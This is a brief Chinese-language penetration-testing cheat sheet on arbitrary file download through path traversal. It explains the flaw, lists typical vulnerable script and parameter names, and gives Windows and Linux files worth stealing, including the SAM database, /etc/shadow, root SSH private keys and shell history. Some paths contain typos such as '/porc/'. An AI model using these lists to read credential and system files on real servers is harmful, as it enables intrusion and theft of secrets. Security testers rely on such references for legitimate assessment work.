描述
文件下载处由于未对下载路径进行过滤,利用路径回溯符…/跳出程序本身的限制目录实现来下载任意文件,如下载系统密码文件等!
利用条件
- 存在读文件的函数
- 读取文件的路径用户可控且未校验或校验不严
- 输出了文件内容
发现
- 网站URL中存在下载参数,并且未进行过滤…/…/…/字符,且输出了文件内容
链接存在 就可以尝试文件下载
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=
参数、
&RealPath=
&FilePath=
&filepath=
&Filepath=
&Path=
&path=
&inputFile=
&Inputfile=
&url=
&urls=
&Lang=
&dis=
&data=
&Data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF
路径
windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
Linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/usr/local/app/php5/lib/php.ini //PHP配置文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数